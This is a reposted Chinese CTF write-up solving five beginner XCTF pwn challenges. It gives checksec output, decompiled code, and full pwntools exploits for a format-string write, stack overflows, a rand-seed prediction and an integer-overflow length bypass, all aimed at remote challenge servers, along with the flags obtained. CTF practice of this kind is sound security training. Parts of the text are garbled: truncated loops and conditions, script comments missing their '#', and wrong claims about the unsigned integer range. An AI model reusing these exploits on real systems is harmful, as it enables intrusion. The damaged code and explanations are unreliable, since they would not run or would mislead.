(攻防世界) — pwn入门 — 新手区1 — CGfsb

⭐学习网站

肝就vans了

ctfwiki

⭐CGfsb – printf格式化字符

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

拿到附件,首先对其进行查看 checksec e41a0f684d0e497f87bb309f91737e4d

checksec e41a0f684d0e497f87bb309f91737e4d
[*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

回顾一下:

Arch: 程序架构。 该程序是 x86-32位-小段字节序号

RELRO: 在程序启动时就解析所有动态符号/设置符号重定向表格(只读),来减少对GOT表的攻击

Stack:栈溢出保护

Nx:堆栈不可执行,即不可在栈上执行shellcode,要利用现成system等lib函数(如”\bin\sh”)等

PIE:内存地址全随机化

所以,将附件拖入32bitIDA中。老规矩 F5 或 shitf+F12 查看。追踪到如下主函数:

  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }

显然, pwnme==8 是得到flag的关键。双击追踪:

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

显然 pwnme被设置为全局变量,根据之前 NO PIE 可知,地址不会改变 0804A068

接下来,就是要确定偏移量。 printf(&s); 即:printf格式化字符

详情可见大佬博客: 格式化字符串漏洞

因此,利用 如下,来确定偏移量。

aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

编写exp

from pwn import *

p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068  #pwnme所在地址

p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')

payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n'  # b'a' * 0x4 四个字节用于填充
p.recvuntil("leave your message please:\n")
p.sendline(payload)

p.interactive()

由于p32(addr_pwnme)占4个字节,而我们要让其==8,必须给他再填充4个字节

%10$n 这里偏移量为10, %10$n 意思为 取第10个参数中的内容,以内容为地址写入整体字符串的长度

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb
cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}

⭐when_did_you_born – 溢出

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

checksec 查看

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
[*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖入IDA64中,选择main函数 F5

查看伪码

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

显然我们要利用v4变量所在gets函数,通过覆盖v5原本值,来实现v5值为1926。

因此,下一步就是确定v5/v4 变量所在地址:(双击查看)

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

编写exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0  #0/1切换本地调试
def main():
    if content == 1:
        J1ay = process("when_did_you_born")
    else:
        J1ay = remote("111.200.241.244",46071)

    payload = b'a' * (0x20-0x18) + p64(1926) #1926覆盖值,(0x20-0x18)为v4和v5地址差值(偏移量)

    J1ay.recvuntil("What's Your Birth?\n")
    J1ay.sendline("2021")

    J1ay.recvuntil("What's Your Name?\n")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

即可获取

cyberpeace{65c64869ab65a0a82e11229c74b23e9e}

⭐hello_pwn – 溢出

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

同上题解法。简单看一下IDA

puts("~~ welcome to ctf ~~     ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);

只需实现 dword_60106C == 1853186401 。跟上题类似。

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

可构造 payload = b'a' *(0x6C-0x68) 偏移量

payload = payload + p64(1853186401) 将 1853186401 数据 填充进去。

编写exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
    if content == 1:
        J1ay = process("hello_pwn")
    else:
        J1ay = remote("111.200.241.244",42801)

    payload = b'a' * (0x6c-0x68) + p64(1853186401)

    #J1ay.recvuntil("lets get helloworld for bof\n")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

得到

cyberpeace{af41f61a47e0f993edc71bb012877046}

⭐guess_num – 随机数-溢出

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

拿到附件,首先 checksec 一下

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
[*] '/mnt/c/Users/11145/Desktop/guess_num'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

拖进 64IDA中,

puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i

sub_C3E() 函数

__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}

显然,在这里拿到flag。

现在来看主函数:

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

双击 gets ,追踪到 seed

0000000000000030 var_30          db ?
............................................

0000000000000010 seed            dd 2 dup(?)

发现需 0x30-0x10 即覆盖20个地址,就可到 seed[0]

进入循环,导入 from ctypes import *

利用 cdll.LoadLibrary("libc.so.6") 根据如下随机数产生代码

for ( i = 0; i

编写exp

from pwn import *
from ctypes import *

p = remote('111.200.241.244',38649)

随机数循环
def srand():
    libc = cdll.LoadLibrary('libc.so.6')
    libc.srand(1)
    for i in range(10):
        p.recvuntil("Please input your guess number:")
        p.sendline(str(libc.rand()%6+1))

gets函数覆盖
p.recvuntil('Your name:')
payload = b'a' * (0x30 - 0x10) + p64(1)
p.sendline(payload)

随机数循环
srand()

p.interactive()

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

⭐int_overflow – 无符号整型溢出

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

checksec 查看

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
[*] '/mnt/c/Users/11145/Desktop/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖进IDA32里,查看 — 主函数

 puts("---------------------");
 puts("~~ Welcome to CTF! ~~");
 puts("       1.Login       ");
 puts("       2.Exit        ");
 puts("---------------------");
 printf("Your choice:");
 __isoc99_scanf("%d", &v4);
 if ( v4 == 1 )
 {
 login();
 }
 else
 {
 if ( v4 == 2 )
 {
 puts("Bye~");
 exit(0);
 }
 puts("Invalid Choice!");
 }

显然令v4=1,进入函数login

char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

函数 check_passwd()

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3  8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

以及发现 命令 cat flag ,也就是说,只要我们确定偏移量,将返回地址覆盖到 804868B 即可拿到flag。

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

分析:

在函数 check_passwd()

显然可见

strcpy(&dest, s)

将 s 拷贝到dest,s是传入的password。

如下: 只需 0x14+4 个字节就可溢出。

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

当然,有个问题就是,开头对传入的s长度 v3 进行了校验, u 代表此为 无符号整型,长度必须在 4u-8u 间,但是我们需要18个字节,如何绕开?

无符号整型范围为 0~65535 ,则我们可以利用无符号整型溢出,来实现绕过。

具体可以参照这篇大佬博客 c语言的整型溢出问题

简单来说,就是溢出的值会与256求模,得到最终结果。

因此,本是 4–8,等价于 255+3 — 255+8,即在259–263内就可实现绕过

编写exp

from pwn import *

p = remote('111.200.241.244',52479)

p.recvuntil('Your choice:')
p.sendline("1")

p.recvuntil('Please input your username:\n')
p.sendline('J1ay')

payload = b'a' * (0x14 + 4) + p32(0x0804868B)
v3取值在259-263
v3 = 259
payload += b'a'*(v3 - len(payload))
p.recvuntil('Please input your passwd:\n')
p.sendline(payload)

p.interactive()

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

关于以上链接引用【侵权删】

若有错误之处,还请多多指正~~

【转载请放链接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html

Original: https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html
Author: J1ay
Title: (攻防世界) — pwn入门 — 新手区1 — CGfsb

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/576669/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球